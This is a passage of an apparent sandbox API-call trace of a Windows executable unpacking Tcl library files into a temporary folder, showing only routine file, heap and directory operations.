SetLastError (dwErrCode=0x2) [0036.910] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\http1.0\\pkgIndex.tcl") returned 70 [0036.910] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0036.910] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\http1.0\\pkgIndex.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\http1.0\\pkgindex.tcl"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.911] GetFileType (hFile=0x10c) returned 0x1 [0036.911] htonl (hostlong=0xdf020000) returned 0x2df [0036.911] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.911] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x2df, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x2df, lpOverlapped=0x0) returned 1 [0036.912] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.912] CloseHandle (hObject=0x10c) returned 1 [0036.913] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5507b0 | out: hHeap=0x530000) returned 1 [0036.913] htonl (hostlong=0x30000000) returned 0x30 [0036.913] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0036.913] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0036.913] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.913] GetFileType (hFile=0x10c) returned 0x1 [0036.913] htonl (hostlong=0xf3075700) returned 0x5707f3 [0036.913] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5bb7f3, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0036.913] htonl (hostlong=0xc01f0000) returned 0x1fc0 [0036.913] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1fc0) returned 0x560088 [0036.913] htonl (hostlong=0xc01f0000) returned 0x1fc0 [0036.913] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fcd58, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fcd58*=0x1000, lpOverlapped=0x0) returned 1 [0036.913] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.913] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0036.913] htonl (hostlong=0xc6610000) returned 0x61c6 [0036.913] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x61c6) returned 0x562050 [0036.914] htonl (hostlong=0xc01f0000) returned 0x1fc0 [0036.914] htonl (hostlong=0xc6610000) returned 0x61c6 [0036.914] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x568220 [0036.914] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x568220 | out: hHeap=0x530000) returned 1 [0036.914] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0036.914] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.914] CloseHandle (hObject=0x10c) returned 1 [0036.914] GetLastError () returned 0x0 [0036.914] SetLastError (dwErrCode=0x0) [0036.914] GetLastError () returned 0x0 [0036.914] SetLastError (dwErrCode=0x0) [0036.914] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0036.914] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.914] GetFileType (hFile=0x10c) returned 0x1 [0036.915] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.915] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.915] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.915] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.915] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.915] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.915] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.915] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.915] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.915] CloseHandle (hObject=0x10c) returned 1 [0036.915] GetLastError () returned 0x0 [0036.915] SetLastError (dwErrCode=0x0) [0036.915] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\init.tcl") returned 58 [0036.915] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\init.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\init.tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0036.915] GetLastError () returned 0x2 [0036.915] SetLastError (dwErrCode=0x2) [0036.915] GetLastError () returned 0x2 [0036.915] SetLastError (dwErrCode=0x2) [0036.915] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\init.tcl", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\init.tcl", lpFilePart=0x0) returned 0x39 [0036.915] GetLastError () returned 0x2 [0036.915] SetLastError (dwErrCode=0x2) [0036.915] GetLastError () returned 0x2 [0036.915] SetLastError (dwErrCode=0x2) [0036.915] GetLastError () returned 0x2 [0036.915] SetLastError (dwErrCode=0x2) [0036.915] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\init.tcl") returned 58 [0036.915] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0036.915] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\init.tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\init.tcl"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.916] GetFileType (hFile=0x10c) returned 0x1 [0036.916] htonl (hostlong=0xc6610000) returned 0x61c6 [0036.916] WriteFile (in: hFile=0x10c, lpBuffer=0x562050*, nNumberOfBytesToWrite=0x6000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x562050*, lpNumberOfBytesWritten=0x4fcd00*=0x6000, lpOverlapped=0x0) returned 1 [0036.917] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.917] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x1c6, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x1c6, lpOverlapped=0x0) returned 1 [0036.917] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.917] CloseHandle (hObject=0x10c) returned 1 [0036.918] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562050 | out: hHeap=0x530000) returned 1 [0036.919] htonl (hostlong=0x20000000) returned 0x20 [0036.919] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0036.919] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0036.919] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.919] GetFileType (hFile=0x10c) returned 0x1 [0036.920] htonl (hostlong=0xb3275700) returned 0x5727b3 [0036.920] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5bd7b3, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0036.920] htonl (hostlong=0x3e010000) returned 0x13e [0036.920] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x13e) returned 0x550600 [0036.920] htonl (hostlong=0x3e010000) returned 0x13e [0036.920] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.920] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0036.920] htonl (hostlong=0xdd030000) returned 0x3dd [0036.920] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x3dd) returned 0x550748 [0036.920] htonl (hostlong=0x3e010000) returned 0x13e [0036.920] htonl (hostlong=0xdd030000) returned 0x3dd [0036.920] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0036.921] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0036.921] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0036.921] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.921] CloseHandle (hObject=0x10c) returned 1 [0036.921] GetLastError () returned 0x0 [0036.921] SetLastError (dwErrCode=0x0) [0036.921] GetLastError () returned 0x0 [0036.921] SetLastError (dwErrCode=0x0) [0036.921] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0036.921] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.921] GetFileType (hFile=0x10c) returned 0x1 [0036.921] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.921] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.921] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.921] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.921] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.921] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.921] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.921] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.921] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.922] CloseHandle (hObject=0x10c) returned 1 [0036.922] GetLastError () returned 0x0 [0036.922] SetLastError (dwErrCode=0x0) [0036.922] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs") returned 54 [0036.922] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0036.922] GetLastError () returned 0x2 [0036.922] SetLastError (dwErrCode=0x2) [0036.922] GetLastError () returned 0x2 [0036.922] SetLastError (dwErrCode=0x2) [0036.922] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs", lpFilePart=0x0) returned 0x35 [0036.922] GetLastError () returned 0x2 [0036.922] SetLastError (dwErrCode=0x2) [0036.922] GetLastError () returned 0x2 [0036.922] SetLastError (dwErrCode=0x2) [0036.922] GetLastError () returned 0x2 [0036.922] SetLastError (dwErrCode=0x2) [0036.922] CreateDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), lpSecurityAttributes=0x0) returned 1 [0036.924] GetLastError () returned 0x2 [0036.924] SetLastError (dwErrCode=0x2) [0036.924] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\af.msg") returned 61 [0036.924] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\af.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\af.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0036.924] GetLastError () returned 0x2 [0036.924] SetLastError (dwErrCode=0x2) [0036.924] GetLastError () returned 0x2 [0036.924] SetLastError (dwErrCode=0x2) [0036.924] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\af.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\af.msg", lpFilePart=0x0) returned 0x3c [0036.924] GetLastError () returned 0x2 [0036.924] SetLastError (dwErrCode=0x2) [0036.924] GetLastError () returned 0x2 [0036.924] SetLastError (dwErrCode=0x2) [0036.924] GetLastError () returned 0x2 [0036.924] SetLastError (dwErrCode=0x2) [0036.924] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\af.msg") returned 61 [0036.925] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0036.925] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\af.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\af.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.925] GetFileType (hFile=0x10c) returned 0x1 [0036.925] htonl (hostlong=0xdd030000) returned 0x3dd [0036.925] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.925] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x3dd, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x3dd, lpOverlapped=0x0) returned 1 [0036.926] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.926] CloseHandle (hObject=0x10c) returned 1 [0036.926] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550748 | out: hHeap=0x530000) returned 1 [0036.926] htonl (hostlong=0x30000000) returned 0x30 [0036.926] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0036.927] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0036.927] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.927] GetFileType (hFile=0x10c) returned 0x1 [0036.927] htonl (hostlong=0xf1285700) returned 0x5728f1 [0036.927] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5bd8f1, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0036.927] htonl (hostlong=0x9f000000) returned 0x9f [0036.927] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x9f) returned 0x55cfe0 [0036.927] htonl (hostlong=0x9f000000) returned 0x9f [0036.927] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.927] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0036.927] htonl (hostlong=0xfb000000) returned 0xfb [0036.927] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xfb) returned 0x550600 [0036.927] htonl (hostlong=0x9f000000) returned 0x9f [0036.927] htonl (hostlong=0xfb000000) returned 0xfb [0036.927] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0036.927] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0036.927] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0036.927] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.927] CloseHandle (hObject=0x10c) returned 1 [0036.927] GetLastError () returned 0x0 [0036.927] SetLastError (dwErrCode=0x0) [0036.927] GetLastError () returned 0x0 [0036.927] SetLastError (dwErrCode=0x0) [0036.927] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0036.927] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.928] GetFileType (hFile=0x10c) returned 0x1 [0036.928] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.928] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.928] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.928] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.928] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.928] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.928] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.928] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.928] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.928] CloseHandle (hObject=0x10c) returned 1 [0036.928] GetLastError () returned 0x0 [0036.928] SetLastError (dwErrCode=0x0) [0036.928] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs") returned 54 [0036.928] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.928] GetFileType (hFile=0x10c) returned 0x1 [0036.928] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.928] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.928] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.928] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.928] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.928] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.928] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.929] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.929] 